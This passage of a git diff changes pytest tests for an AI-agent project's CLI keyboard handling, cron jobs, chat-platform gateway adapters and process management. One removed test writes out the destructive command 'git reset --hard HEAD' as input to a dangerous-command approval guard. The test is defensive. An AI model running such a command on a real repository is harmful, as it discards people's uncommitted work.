+terminals that emit a distinct Shift+Enter under the Kitty keyboard protocol +or xterm modifyOtherKeys mode. +""" + +from __future__ import annotations + +import pytest + +from prompt_toolkit.input.ansi_escape_sequences import ANSI_SEQUENCES +from prompt_toolkit.input.vt100_parser import Vt100Parser +from prompt_toolkit.keys import Keys + +from hermes_cli.pt_input_extras import install_shift_enter_alias + + +SHIFT_ENTER_SEQUENCES = ( + "\x1b[13;2u", # Kitty / CSI-u, modifier=2 (Shift) + "\x1b[27;2;13~", # xterm modifyOtherKeys=2 + "\x1b[27;2;13u", +) + + +@pytest.fixture(autouse=True) +def _ensure_alias_installed(): + """Make every test idempotent — install the alias once per test run.""" + install_shift_enter_alias() + + +def _parse(byte_seq: str): + out = [] + parser = Vt100Parser(out.append) + for ch in byte_seq: + parser.feed(ch) + parser.flush() + return [kp.key for kp in out] + + +def test_install_registers_all_three_sequences(): + for seq in SHIFT_ENTER_SEQUENCES: + assert seq in ANSI_SEQUENCES, f"missing mapping for {seq!r}" + assert ANSI_SEQUENCES[seq] == (Keys.Escape, Keys.ControlM) + + +def test_install_overwrites_stock_modifyotherkeys_shift_enter(): + """Stock prompt_toolkit maps `\\x1b[27;2;13~` to plain Keys.ControlM — + i.e. it drops the Shift modifier and treats Shift+Enter like Enter, + which is the bug this helper exists to fix. The install must overwrite + that entry.""" + seq = "\x1b[27;2;13~" + ANSI_SEQUENCES[seq] = Keys.ControlM + install_shift_enter_alias() + assert ANSI_SEQUENCES[seq] == (Keys.Escape, Keys.ControlM) + + +def test_install_returns_zero_when_already_correct(): + """Idempotency — running install twice should not report a second change.""" + install_shift_enter_alias() + assert install_shift_enter_alias() == 0 + + +def test_csi_u_shift_enter_parses_as_alt_enter(): + """Kitty keyboard protocol Shift+Enter must parse to the same key tuple + Alt+Enter produces, so the existing handler is reused.""" + alt_enter = _parse("\x1b\r") + shift_enter = _parse("\x1b[13;2u") + assert shift_enter == alt_enter, ( + f"Shift+Enter via CSI-u should parse identically to Alt+Enter; " + f"got {shift_enter!r} vs {alt_enter!r}" + ) + + +def test_modify_other_keys_shift_enter_parses_as_alt_enter(): + """xterm modifyOtherKeys=2 Shift+Enter must parse identically to Alt+Enter.""" + alt_enter = _parse("\x1b\r") + shift_enter = _parse("\x1b[27;2;13~") + assert shift_enter == alt_enter + + +def test_plain_enter_remains_distinct_from_alt_enter(): + """Plain Enter must keep emitting a single key (submit), not a two-key + Alt+Enter tuple — otherwise we would have broken submit.""" + enter = _parse("\r") + alt_enter = _parse("\x1b\r") + assert enter != alt_enter + assert len(enter) == 1 + assert len(alt_enter) == 2 diff --git a/tests/cron/test_cron_script.py b/tests/cron/test_cron_script.py index d7f278aa964..2905339bece 100644 --- a/tests/cron/test_cron_script.py +++ b/tests/cron/test_cron_script.py @@ -213,19 +213,6 @@ class TestBuildJobPromptWithScript: assert "## Script Output" not in prompt assert "Simple job." in prompt - def test_script_empty_output_noted(self, cron_env): - from cron.scheduler import _build_job_prompt - - script = cron_env / "scripts" / "noop.py" - script.write_text("# nothing\n") - - job = { - "prompt": "Check status.", - "script": str(script), - } - prompt = _build_job_prompt(job) - assert "no output" in prompt.lower() - assert "Check status." in prompt class TestCronjobToolScript: diff --git a/tests/cron/test_scheduler_mcp_init.py b/tests/cron/test_scheduler_mcp_init.py index 233cdc45b73..b751f0f00b2 100644 --- a/tests/cron/test_scheduler_mcp_init.py +++ b/tests/cron/test_scheduler_mcp_init.py @@ -20,94 +20,8 @@ from unittest.mock import patch, MagicMock import pytest -def test_run_job_calls_discover_mcp_tools_before_agent_construction(): - """The LLM-path branch of run_job must call discover_mcp_tools() before - the AIAgent construction, so MCP tools are in the registry by the time - the agent asks for its tool schema.""" - from cron import scheduler - - job = { - "id": "mcp-cron-test", - "name": "mcp-cron-test", - "prompt": "test", - } - - call_order = [] - - def fake_discover(): - call_order.append("discover_mcp_tools") - return ["mcp_server1_tool"] - - # AIAgent is a class; replace with a recording stub - class _FakeAgent: - def __init__(self, *args, **kwargs): - call_order.append("AIAgent.__init__") - self._kwargs = kwargs - self._interrupt_requested = False - self.quiet_mode = True - - def run_conversation(self, *args, **kwargs): - return { - "final_response": "ok", - "messages": [], - } - - with patch("tools.mcp_tool.discover_mcp_tools", side_effect=fake_discover), \ - patch("run_agent.AIAgent", _FakeAgent), \ - patch("cron.scheduler._resolve_cron_enabled_toolsets", return_value=None): - scheduler.run_job(job) - - # Discovery must be called, and must be called BEFORE agent construction. - assert "discover_mcp_tools" in call_order, ( - "run_job did not call discover_mcp_tools — MCP tools unavailable in cron" - ) - d_idx = call_order.index("discover_mcp_tools") - a_idx = call_order.index("AIAgent.__init__") - assert d_idx < a_idx, ( - f"discover_mcp_tools was called AFTER AIAgent construction " - f"(indices discover={d_idx}, agent={a_idx}); MCP tools missed the " - f"registry window. Full order: {call_order}" - ) -def test_run_job_tolerates_discover_mcp_tools_failure(): - """A broken MCP server must not kill an otherwise working cron job. - discover_mcp_tools() raising should be caught and logged, and the agent - should still run.""" - from cron import scheduler - - job = { - "id": "mcp-cron-fail", - "name": "mcp-cron-fail", - "prompt": "test", - } - - agent_was_constructed = [] - - class _FakeAgent: - def __init__(self, *args, **kwargs): - agent_was_constructed.append(True) - self._interrupt_requested = False - self.quiet_mode = True - - def run_conversation(self, *args, **kwargs): - return {"final_response": "ok", "messages": []} - - def fake_discover_that_raises(): - raise RuntimeError("MCP server unreachable") - - with patch( - "tools.mcp_tool.discover_mcp_tools", - side_effect=fake_discover_that_raises, - ), patch("run_agent.AIAgent", _FakeAgent), \ - patch("cron.scheduler._resolve_cron_enabled_toolsets", return_value=None): - # Should NOT raise - success, doc, final_response, error = scheduler.run_job(job) - - assert agent_was_constructed, ( - "AIAgent was not constructed after discover_mcp_tools raised — " - "MCP failure incorrectly killed the cron job" - ) def test_no_agent_cron_job_does_not_initialize_mcp(): diff --git a/tests/gateway/test_agent_cache.py b/tests/gateway/test_agent_cache.py index fad7e6c1cf4..a9793f4d9a2 100644 --- a/tests/gateway/test_agent_cache.py +++ b/tests/gateway/test_agent_cache.py @@ -956,43 +956,6 @@ class TestAgentCacheSpilloverLive: except Exception: pass - def test_concurrent_inserts_settle_at_cap(self, monkeypatch): - """Many threads inserting in parallel end with len(cache) == CAP.""" - from gateway import run as gw_run - - CAP = 16 - monkeypatch.setattr(gw_run, "_AGENT_CACHE_MAX_SIZE", CAP) - runner = self._runner() - - N_THREADS = 8 - PER_THREAD = 20 # 8 * 20 = 160 inserts into a 16-slot cache - - def worker(tid: int): - for j in range(PER_THREAD): - a = self._real_agent() - key = f"t{tid}-s{j}" - with runner._agent_cache_lock: - runner._agent_cache[key] = (a, "sig") - runner._enforce_agent_cache_cap() - - threads = [ - threading.Thread(target=worker, args=(t,), daemon=True) - for t in range(N_THREADS) - ] - for t in threads: - t.start() - for t in threads: - t.join(timeout=30) - assert not t.is_alive(), "Worker thread hung — possible deadlock?" - - # Let daemon cleanup threads settle. - import time as _t - _t.sleep(0.5) - - assert len(runner._agent_cache) == CAP, ( - f"Expected exactly {CAP} entries after concurrent inserts, " - f"got {len(runner._agent_cache)}." - ) def test_evicted_session_next_turn_gets_fresh_agent(self, monkeypatch): """After eviction, the same session_key can insert a fresh agent. diff --git a/tests/gateway/test_api_server_runs.py b/tests/gateway/test_api_server_runs.py index f47060d0689..bdb00d74a7b 100644 --- a/tests/gateway/test_api_server_runs.py +++ b/tests/gateway/test_api_server_runs.py @@ -307,69 +307,6 @@ class TestRunEvents: assert "Hello!" in body - @pytest.mark.asyncio - async def test_approval_request_event_and_response_unblock_run(self, adapter): - """Dangerous-command approvals should surface on the run SSE stream.""" - app = _create_runs_app(adapter) - async with TestClient(TestServer(app)) as cli: - with patch.object(adapter, "_create_agent") as mock_create: - guard_result = {} - - mock_agent = MagicMock() - - def _run_with_approval(user_message=None, conversation_history=None, task_id=None): - from tools.approval import check_all_command_guards - - result = check_all_command_guards("git reset --hard HEAD", "local") - guard_result.update(result) - return {"final_response": "approved" if result.get("approved") else "blocked"} - - mock_agent.run_conversation.side_effect = _run_with_approval - mock_agent.session_prompt_tokens = 0 - mock_agent.session_completion_tokens = 0 - mock_agent.session_total_tokens = 0 - mock_create.return_value = mock_agent - - resp = await cli.post("/v1/runs", json={"input": "needs approval"}) - assert resp.status == 202 - data = await resp.json() - run_id = data["run_id"] - - events_resp = await cli.get(f"/v1/runs/{run_id}/events") - assert events_resp.status == 200 - - approval_event = None - for _ in range(20): - line = await asyncio.wait_for(events_resp.content.readline(), timeout=3.0) - text = line.decode() - if not text.startswith("data: "): - continue - event = json.loads(text[len("data: "):]) - if event.get("event") == "approval.request": - approval_event = event - break - - assert approval_event is not None - assert approval_event["run_id"] == run_id - assert approval_event["command"] == "git reset --hard HEAD" - assert approval_event["pattern_key"] - assert "pattern_keys" in approval_event - assert approval_event["choices"] == ["once", "session", "always", "deny"] - - approval_resp = await cli.post( - f"/v1/runs/{run_id}/approval", - json={"choice": "once"}, - ) - assert approval_resp.status == 200 - approval_data = await approval_resp.json() - assert approval_data["resolved"] == 1 - assert approval_data["choice"] == "once" - - body = await events_resp.text() - assert "approval.responded" in body - assert "run.completed" in body - - assert guard_result.get("approved") is True @pytest.mark.asyncio async def test_approval_response_without_pending_returns_409(self, adapter): diff --git a/tests/gateway/test_discord_free_response.py b/tests/gateway/test_discord_free_response.py index f3242e3d5d5..91b23bd8602 100644 --- a/tests/gateway/test_discord_free_response.py +++ b/tests/gateway/test_discord_free_response.py @@ -446,31 +446,6 @@ async def test_discord_voice_linked_channel_skips_mention_requirement_and_auto_t assert event.source.chat_type == "group" -@pytest.mark.asyncio -async def test_discord_free_channel_skips_auto_thread(adapter, monkeypatch): - """Free-response channels must NOT auto-create threads — bot replies inline. - - Without this, every message in a free-response channel would spin off a - thread (since the channel bypasses the @mention gate), defeating the - lightweight-chat purpose of free-response mode. - """ - monkeypatch.setenv("DISCORD_REQUIRE_MENTION", "true") - monkeypatch.setenv("DISCORD_FREE_RESPONSE_CHANNELS", "789") - monkeypatch.delenv("DISCORD_AUTO_THREAD", raising=False) # default true - - adapter._auto_create_thread = AsyncMock() - - message = make_message( - channel=FakeTextChannel(channel_id=789), - content="free chat message", - ) - - await adapter._handle_message(message) - - adapter._auto_create_thread.assert_not_awaited() - adapter.handle_message.assert_awaited_once() - event = adapter.handle_message.await_args.args[0] - assert event.source.chat_type == "group" @pytest.mark.asyncio diff --git a/tests/gateway/test_google_chat.py b/tests/gateway/test_google_chat.py index 140c11b6b5a..a5a1bc0dac2 100644 --- a/tests/gateway/test_google_chat.py +++ b/tests/gateway/test_google_chat.py @@ -257,42 +257,9 @@ class TestEnvConfigLoading: for v in self._ENV_VARS: monkeypatch.delenv(v, raising=False) - def test_project_id_primary(self, monkeypatch): - self._clean_env(monkeypatch) - monkeypatch.setenv("GOOGLE_CHAT_PROJECT_ID", "my-proj") - monkeypatch.setenv("GOOGLE_CHAT_SUBSCRIPTION_NAME", - "projects/my-proj/subscriptions/my-sub") - cfg = load_gateway_config() - gc = cfg.platforms[Platform.GOOGLE_CHAT] - assert gc.enabled is True - assert gc.extra["project_id"] == "my-proj" - def test_project_id_falls_back_to_google_cloud_project(self, monkeypatch): - self._clean_env(monkeypatch) - monkeypatch.setenv("GOOGLE_CLOUD_PROJECT", "fallback-proj") - monkeypatch.setenv("GOOGLE_CHAT_SUBSCRIPTION", - "projects/fallback-proj/subscriptions/s") - cfg = load_gateway_config() - gc = cfg.platforms[Platform.GOOGLE_CHAT] - assert gc.extra["project_id"] == "fallback-proj" - def test_subscription_accepts_legacy_alias(self, monkeypatch): - self._clean_env(monkeypatch) - monkeypatch.setenv("GOOGLE_CHAT_PROJECT_ID", "p") - monkeypatch.setenv("GOOGLE_CHAT_SUBSCRIPTION", "projects/p/subscriptions/s") - cfg = load_gateway_config() - gc = cfg.platforms[Platform.GOOGLE_CHAT] - assert gc.extra["subscription_name"] == "projects/p/subscriptions/s" - def test_sa_path_falls_back_to_google_application_credentials(self, monkeypatch): - self._clean_env(monkeypatch) - monkeypatch.setenv("GOOGLE_CHAT_PROJECT_ID", "p") - monkeypatch.setenv("GOOGLE_CHAT_SUBSCRIPTION_NAME", - "projects/p/subscriptions/s") - monkeypatch.setenv("GOOGLE_APPLICATION_CREDENTIALS", "/opt/sa.json") - cfg = load_gateway_config() - gc = cfg.platforms[Platform.GOOGLE_CHAT] - assert gc.extra["service_account_json"] == "/opt/sa.json" def test_missing_subscription_does_not_enable(self, monkeypatch): self._clean_env(monkeypatch) @@ -308,24 +275,7 @@ class TestEnvConfigLoading: cfg = load_gateway_config() assert Platform.GOOGLE_CHAT not in cfg.platforms - def test_home_channel_populated(self, monkeypatch): - self._clean_env(monkeypatch) - monkeypatch.setenv("GOOGLE_CHAT_PROJECT_ID", "p") - monkeypatch.setenv("GOOGLE_CHAT_SUBSCRIPTION_NAME", - "projects/p/subscriptions/s") - monkeypatch.setenv("GOOGLE_CHAT_HOME_CHANNEL", "spaces/HOME") - cfg = load_gateway_config() - gc = cfg.platforms[Platform.GOOGLE_CHAT] - assert gc.home_channel is not None - assert gc.home_channel.chat_id == "spaces/HOME" - def test_connected_platforms_recognises_via_extras(self, monkeypatch): - self._clean_env(monkeypatch) - monkeypatch.setenv("GOOGLE_CHAT_PROJECT_ID", "p") - monkeypatch.setenv("GOOGLE_CHAT_SUBSCRIPTION_NAME", - "projects/p/subscriptions/s") - cfg = load_gateway_config() - assert Platform.GOOGLE_CHAT in cfg.get_connected_platforms() # =========================================================================== @@ -2409,6 +2359,61 @@ class TestADCFallback: assert "google_chat_service_account_json" in msg +class TestGoogleChatInteractiveSetup: + def test_interactive_setup_uses_shared_cli_prompt_helpers(self, monkeypatch): + """Google Chat setup should not import prompt helpers from config.py.""" + from plugins.platforms.google_chat import adapter as gc_mod + + saved: dict[str, str] = {} + answers = { + "GCP project ID (e.g. my-project)": "demo-project", + "Pub/Sub subscription (projects//subscriptions/)": ( + "projects/demo-project/subscriptions/hermes-chat" + ), + "Path to Service Account JSON (or inline JSON)": "/tmp/sa.json", + "Allowed user emails (comma-separated)": "alice@example.com, bob@example.com", + "Home space for cron/notification delivery (e.g. spaces/AAAA, or empty)": ( + "spaces/AAAA" + ), + } + + def fake_get_env_value(key): + return saved.get(key, "") + + def fake_save_env_value(key, value): + saved[key] = value + + def fake_prompt(question, default=None, password=False): + return answers.get(question, default or "") + + monkeypatch.setattr("hermes_cli.config.get_env_value", fake_get_env_value) + monkeypatch.setattr("hermes_cli.config.save_env_value", fake_save_env_value) + monkeypatch.setattr("hermes_cli.cli_output.prompt", fake_prompt) + monkeypatch.setattr( + "hermes_cli.cli_output.prompt_yes_no", lambda *_a, **_kw: True + ) + monkeypatch.setattr( + "hermes_cli.cli_output.print_info", lambda *_a, **_kw: None + ) + monkeypatch.setattr( + "hermes_cli.cli_output.print_success", lambda *_a, **_kw: None + ) + monkeypatch.setattr( + "hermes_cli.cli_output.print_warning", lambda *_a, **_kw: None + ) + + gc_mod.interactive_setup() + + assert saved["GOOGLE_CHAT_PROJECT_ID"] == "demo-project" + assert ( + saved["GOOGLE_CHAT_SUBSCRIPTION_NAME"] + == "projects/demo-project/subscriptions/hermes-chat" + ) + assert saved["GOOGLE_CHAT_SERVICE_ACCOUNT_JSON"] == "/tmp/sa.json" + assert saved["GOOGLE_CHAT_ALLOWED_USERS"] == "alice@example.com,bob@example.com" + assert saved["GOOGLE_CHAT_HOME_CHANNEL"] == "spaces/AAAA" + + # =========================================================================== # Supervisor reconnect (backoff + fatal) # =========================================================================== diff --git a/tests/gateway/test_safe_adapter_disconnect.py b/tests/gateway/test_safe_adapter_disconnect.py index ec11f2663ad..9a17aa0476a 100644 --- a/tests/gateway/test_safe_adapter_disconnect.py +++ b/tests/gateway/test_safe_adapter_disconnect.py @@ -10,6 +10,8 @@ The fix: gateway/run.py wraps each adapter connect() with a safety-net call to _safe_adapter_disconnect() in the failure branches. """ +import asyncio +import logging from unittest.mock import AsyncMock, MagicMock import pytest @@ -57,3 +59,21 @@ async def test_safe_disconnect_handles_none_platform(bare_runner): await bare_runner._safe_adapter_disconnect(adapter, None) adapter.disconnect.assert_awaited_once() + + +@pytest.mark.asyncio +async def test_safe_disconnect_times_out_and_continues(bare_runner, monkeypatch, caplog): + """A wedged adapter disconnect must not block gateway shutdown.""" + monkeypatch.setenv("HERMES_GATEWAY_ADAPTER_DISCONNECT_TIMEOUT", "0.001") + adapter = MagicMock() + + async def hang(): + await asyncio.sleep(60) + + adapter.disconnect = AsyncMock(side_effect=hang) + + with caplog.at_level(logging.WARNING, logger="gateway.run"): + await bare_runner._safe_adapter_disconnect(adapter, Platform.FEISHU) + + adapter.disconnect.assert_awaited_once() + assert "Timed out after 0.0s while disconnecting feishu adapter" in caplog.text diff --git a/tests/gateway/test_status.py b/tests/gateway/test_status.py index e7cd0dc0609..f85d5c1b10a 100644 --- a/tests/gateway/test_status.py +++ b/tests/gateway/test_status.py @@ -410,7 +410,9 @@ class TestScopedLocks: "kind": "hermes-gateway", })) - monkeypatch.setattr(status.os, "kill", lambda pid, sig: None) + # Post-#21561 the liveness probe routes through + # ``gateway.status._pid_exists`` (psutil-first, safe on Windows). + monkeypatch.setattr(status, "_pid_exists", lambda pid: True) monkeypatch.setattr(status, "_get_process_start_time", lambda pid: 123) acquired, existing = status.acquire_scoped_lock("telegram-bot-token", "secret", metadata={"platform": "telegram"}) @@ -428,10 +430,8 @@ class TestScopedLocks: "kind": "hermes-gateway", })) - def fake_kill(pid, sig): - raise ProcessLookupError - - monkeypatch.setattr(status.os, "kill", fake_kill) + # Post-#21561: simulate "PID gone" via _pid_exists returning False. + monkeypatch.setattr(status, "_pid_exists", lambda pid: False) acquired, existing = status.acquire_scoped_lock("telegram-bot-token", "secret", metadata={"platform": "telegram"}) diff --git a/tests/gateway/test_teams.py b/tests/gateway/test_teams.py index bd6add21076..c8730f76848 100644 --- a/tests/gateway/test_teams.py +++ b/tests/gateway/test_teams.py @@ -360,7 +360,7 @@ class TestTeamsInteractiveSetup: assert "TEAMS_TENANT_ID=tenant-id" in env_text class TestTeamsConnect: - @pytest.mark.asyncio + @pytest.mark.anyio async def test_connect_fails_without_sdk(self, monkeypatch): monkeypatch.setattr(_teams_mod, "TEAMS_SDK_AVAILABLE", False) adapter = TeamsAdapter(_make_config( @@ -369,7 +369,7 @@ class TestTeamsConnect: result = await adapter.connect() assert result is False - @pytest.mark.asyncio + @pytest.mark.anyio async def test_connect_fails_without_credentials(self): adapter = TeamsAdapter(_make_config()) adapter._client_id = "" @@ -378,7 +378,7 @@ class TestTeamsConnect: result = await adapter.connect() assert result is False - @pytest.mark.asyncio + @pytest.mark.anyio async def test_disconnect_cleans_up(self): adapter = TeamsAdapter(_make_config( client_id="id", client_secret="secret", tenant_id="tenant", @@ -400,7 +400,7 @@ class TestTeamsConnect: # --------------------------------------------------------------------------- class TestTeamsSend: - @pytest.mark.asyncio + @pytest.mark.anyio async def test_send_returns_error_without_app(self): adapter = TeamsAdapter(_make_config( client_id="id", client_secret="secret", tenant_id="tenant", @@ -410,7 +410,7 @@ class TestTeamsSend: assert result.success is False assert "not initialized" in result.error - @pytest.mark.asyncio + @pytest.mark.anyio async def test_send_calls_app_send(self): adapter = TeamsAdapter(_make_config( client_id="id", client_secret="secret", tenant_id="tenant", @@ -426,7 +426,7 @@ class TestTeamsSend: assert result.message_id == "msg-123" mock_app.send.assert_awaited_once_with("conv-id", "Hello") - @pytest.mark.asyncio + @pytest.mark.anyio async def test_send_handles_error(self): adapter = TeamsAdapter(_make_config( client_id="id", client_secret="secret", tenant_id="tenant", @@ -439,7 +439,7 @@ class TestTeamsSend: assert result.success is False assert "Network error" in result.error - @pytest.mark.asyncio + @pytest.mark.anyio async def test_send_typing(self): adapter = TeamsAdapter(_make_config( client_id="id", client_secret="secret", tenant_id="tenant", @@ -594,7 +594,7 @@ class TestTeamsMessageHandling: ctx.activity = activity return ctx - @pytest.mark.asyncio + @pytest.mark.anyio async def test_personal_message_creates_dm_event(self): adapter = TeamsAdapter(_make_config( client_id="bot-id", client_secret="secret", tenant_id="tenant", @@ -610,7 +610,7 @@ class TestTeamsMessageHandling: event = adapter.handle_message.call_args[0][0] assert event.source.chat_type == "dm" - @pytest.mark.asyncio + @pytest.mark.anyio async def test_group_message_creates_group_event(self): adapter = TeamsAdapter(_make_config( client_id="bot-id", client_secret="secret", tenant_id="tenant", @@ -625,7 +625,7 @@ class TestTeamsMessageHandling: event = adapter.handle_message.call_args[0][0] assert event.source.chat_type == "group" - @pytest.mark.asyncio + @pytest.mark.anyio async def test_channel_message_creates_channel_event(self): adapter = TeamsAdapter(_make_config( client_id="bot-id", client_secret="secret", tenant_id="tenant", @@ -640,7 +640,7 @@ class TestTeamsMessageHandling: event = adapter.handle_message.call_args[0][0] assert event.source.chat_type == "channel" - @pytest.mark.asyncio + @pytest.mark.anyio async def test_user_id_uses_aad_object_id(self): adapter = TeamsAdapter(_make_config( client_id="bot-id", client_secret="secret", tenant_id="tenant", @@ -655,7 +655,7 @@ class TestTeamsMessageHandling: event = adapter.handle_message.call_args[0][0] assert event.source.user_id == "aad-stable-id" - @pytest.mark.asyncio + @pytest.mark.anyio async def test_self_message_filtered(self): adapter = TeamsAdapter(_make_config( client_id="bot-id", client_secret="secret", tenant_id="tenant", @@ -669,7 +669,7 @@ class TestTeamsMessageHandling: adapter.handle_message.assert_not_awaited() - @pytest.mark.asyncio + @pytest.mark.anyio async def test_bot_mention_stripped_from_text(self): adapter = TeamsAdapter(_make_config( client_id="bot-id", client_secret="secret", tenant_id="tenant", @@ -687,7 +687,7 @@ class TestTeamsMessageHandling: event = adapter.handle_message.call_args[0][0] assert event.text == "what is the weather?" - @pytest.mark.asyncio + @pytest.mark.anyio async def test_deduplication(self): adapter = TeamsAdapter(_make_config( client_id="bot-id", client_secret="secret", tenant_id="tenant", diff --git a/tests/gateway/test_telegram_topic_mode.py b/tests/gateway/test_telegram_topic_mode.py index bfa92b4fd0a..7c2171c0ae3 100644 --- a/tests/gateway/test_telegram_topic_mode.py +++ b/tests/gateway/test_telegram_topic_mode.py @@ -706,37 +706,6 @@ async def test_first_message_inside_topic_records_topic_binding(tmp_path, monkey assert binding["session_key"] == build_session_key(_make_source(thread_id="17585")) -@pytest.mark.asyncio -async def test_topic_root_command_checks_getme_capabilities_before_enabling(tmp_path, monkeypatch): - import gateway.run as gateway_run - - session_db = SessionDB(db_path=tmp_path / "state.db") - runner = _make_runner(session_db=session_db) - bot = AsyncMock() - bot.get_me.return_value = SimpleNamespace( - has_topics_enabled=False, - allows_users_to_create_topics=True, - ) - runner.adapters[Platform.TELEGRAM]._bot = bot - runner._run_agent = AsyncMock( - side_effect=AssertionError("/topic capability failure must not enter the agent loop") - ) - - monkeypatch.setattr( - gateway_run, "_resolve_runtime_agent_kwargs", lambda: {"api_key": "***"} - ) - - result = await runner._handle_message(_make_event("/topic")) - - assert "topics are not enabled" in result - assert "Open @BotFather" in result - assert session_db.is_telegram_topic_mode_enabled(chat_id="208214988", user_id="208214988") is False - bot.get_me.assert_awaited_once() - runner.adapters[Platform.TELEGRAM].send_image_file.assert_awaited_once() - image_kwargs = runner.adapters[Platform.TELEGRAM].send_image_file.await_args.kwargs - assert image_kwargs["chat_id"] == "208214988" - assert image_kwargs["image_path"].endswith("telegram-botfather-threads-settings.jpg") - runner._run_agent.assert_not_called() @pytest.mark.asyncio @@ -1076,40 +1045,5 @@ async def test_topic_refuses_unauthorized_user(tmp_path, monkeypatch): assert tables == set() -def test_capability_hint_is_debounced_per_chat(tmp_path): - """BotFather screenshot is sent once per cooldown window per chat.""" - db = SessionDB(db_path=tmp_path / "state.db") - runner = _make_runner(session_db=db) - - source = _make_source() - assert runner._should_send_telegram_capability_hint(source) is True - assert runner._should_send_telegram_capability_hint(source) is False - assert runner._should_send_telegram_capability_hint(source) is False - - from dataclasses import replace - other = replace(source, chat_id="999999999") - assert runner._should_send_telegram_capability_hint(other) is True -def test_topic_off_resets_debounce_counters(tmp_path): - """Disabling topic mode clears per-chat debounce state.""" - db = SessionDB(db_path=tmp_path / "state.db") - db.enable_telegram_topic_mode(chat_id="208214988", user_id="208214988") - runner = _make_runner(session_db=db) - - source = _make_source() - # Prime the debounce counters. - assert runner._should_send_telegram_lobby_reminder(source) is True - assert runner._should_send_telegram_capability_hint(source) is True - assert runner._should_send_telegram_lobby_reminder(source) is False - assert runner._should_send_telegram_capability_hint(source) is False - - # /topic off resets them. - result = runner._disable_telegram_topic_mode_for_chat(source) - assert "OFF" in result or "off" in result - - # Re-enable and verify counters reset (so the first reminder/hint - # after re-enabling can land immediately). - db.enable_telegram_topic_mode(chat_id="208214988", user_id="208214988") - assert runner._should_send_telegram_lobby_reminder(source) is True - assert runner._should_send_telegram_capability_hint(source) is True diff --git a/tests/hermes_cli/test_auth_toctou_file_modes.py b/tests/hermes_cli/test_auth_toctou_file_modes.py index c89bafebfef..a6d850cae76 100644 --- a/tests/hermes_cli/test_auth_toctou_file_modes.py +++ b/tests/hermes_cli/test_auth_toctou_file_modes.py @@ -116,8 +116,12 @@ def test_shared_nous_store_writes_0o600_with_0o700_parent(tmp_path, monkeypatch) """The Nous shared-credential store must land at 0o600 / parent 0o700.""" monkeypatch.setenv("HERMES_HOME", str(tmp_path)) # _nous_shared_store_path() refuses to touch the real shared store during - # pytest runs; redirect it into tmp_path explicitly. - monkeypatch.setenv("HERMES_SHARED_AUTH_DIR", str(tmp_path / "shared")) + # pytest runs; redirect it into tmp_path explicitly. Use a distinct + # subdirectory name (``shared_override``) so the guard's "real user + # home" reference — which currently tracks HERMES_HOME via + # get_default_hermes_root() — can't collide with our override and + # falsely claim we're writing to the real user's shared store. + monkeypatch.setenv("HERMES_SHARED_AUTH_DIR", str(tmp_path / "shared_override")) old_umask = os.umask(0o022) try: from hermes_cli import auth as auth_mod diff --git a/tests/hermes_cli/test_cmd_update.py b/tests/hermes_cli/test_cmd_update.py index b1a3cc5987b..ee7ea149936 100644 --- a/tests/hermes_cli/test_cmd_update.py +++ b/tests/hermes_cli/test_cmd_update.py @@ -256,3 +256,15 @@ class TestCmdUpdateProfileSkillSync: cmd_update(mock_args) assert default_p.path in synced_paths + + +def test_is_termux_env_true_for_termux_prefix(): + from hermes_cli import main as hm + + assert hm._is_termux_env({"PREFIX": "/data/data/com.termux/files/usr"}) is True + + +def test_is_termux_env_false_for_non_termux_prefix(): + from hermes_cli import main as hm + + assert hm._is_termux_env({"PREFIX": "/usr/local"}) is False diff --git a/tests/hermes_cli/test_gateway.py b/tests/hermes_cli/test_gateway.py index 9d16ad10a71..c213c99c8d2 100644 --- a/tests/hermes_cli/test_gateway.py +++ b/tests/hermes_cli/test_gateway.py @@ -450,14 +450,21 @@ class TestWaitForGatewayExit: class TestStopProfileGateway: def test_stop_profile_gateway_keeps_pid_file_when_process_still_running(self, monkeypatch): - calls = {"kill": 0, "remove": 0} + calls = {"kill": 0, "alive_probes": 0, "remove": 0} monkeypatch.setattr("gateway.status.get_running_pid", lambda: 12345) + # Post-#21561: the stop loop sends one SIGTERM via ``os.kill`` then + # polls liveness via ``gateway.status._pid_exists`` (safe on + # Windows — bpo-14484). Instrument both seams separately. monkeypatch.setattr( gateway.os, "kill", lambda pid, sig: calls.__setitem__("kill", calls["kill"] + 1), ) + monkeypatch.setattr( + "gateway.status._pid_exists", + lambda pid: calls.__setitem__("alive_probes", calls["alive_probes"] + 1) or True, + ) monkeypatch.setattr("time.sleep", lambda _: None) monkeypatch.setattr( "gateway.status.remove_pid_file", @@ -465,5 +472,6 @@ class TestStopProfileGateway: ) assert gateway.stop_profile_gateway() is True - assert calls["kill"] == 21 + assert calls["kill"] == 1 # one SIGTERM + assert calls["alive_probes"] == 20 # 20 liveness polls over the 2s window assert calls["remove"] == 0 diff --git a/tests/hermes_cli/test_gateway_service.py b/tests/hermes_cli/test_gateway_service.py index 15968f798ed..47de6013dff 100644 --- a/tests/hermes_cli/test_gateway_service.py +++ b/tests/hermes_cli/test_gateway_service.py @@ -140,6 +140,68 @@ class TestSystemdServiceRefresh: assert markers == [321] assert calls == [["stop", gateway_cli.get_service_name()]] + def test_systemd_stop_timeout_prints_status_guidance(self, monkeypatch, capsys): + markers = [] + + monkeypatch.setattr(gateway_cli, "_select_systemd_scope", lambda system=False: False) + monkeypatch.setattr(gateway_cli, "_require_service_installed", lambda action, system=False: None) + monkeypatch.setattr(status, "get_running_pid", lambda cleanup_stale=True: 321) + monkeypatch.setattr( + status, + "write_planned_stop_marker", + lambda pid: markers.append(pid) or True, + ) + + def fake_run_systemctl(args, **kwargs): + raise subprocess.TimeoutExpired(args, kwargs.get("timeout")) + + monkeypatch.setattr(gateway_cli, "_run_systemctl", fake_run_systemctl) + + gateway_cli.systemd_stop() + + assert markers == [321] + output = capsys.readouterr().out + assert "still stopping after 90s" in output + assert "hermes gateway status" in output + + def test_systemd_restart_timeout_prints_status_guidance(self, monkeypatch, capsys): + """`hermes gateway restart` must not surface a raw TimeoutExpired traceback. + + The dashboard spawns `hermes gateway restart` in the background; when a + wedged adapter websocket pushes drain past the 90s CLI timeout, the + dashboard would previously show a Python traceback (issue #19937 + follow-up: the same failure mode applies to restart, not just stop). + """ + monkeypatch.setattr(gateway_cli, "_select_systemd_scope", lambda system=False: False) + monkeypatch.setattr(gateway_cli, "_require_service_installed", lambda action, system=False: None) + monkeypatch.setattr(gateway_cli, "_preflight_user_systemd", lambda: None) + monkeypatch.setattr(gateway_cli, "refresh_systemd_unit_if_needed", lambda system=False: None) + monkeypatch.setattr(status, "get_running_pid", lambda cleanup_stale=True: None) + monkeypatch.setattr(gateway_cli, "_systemd_main_pid", lambda system=False: None) + monkeypatch.setattr( 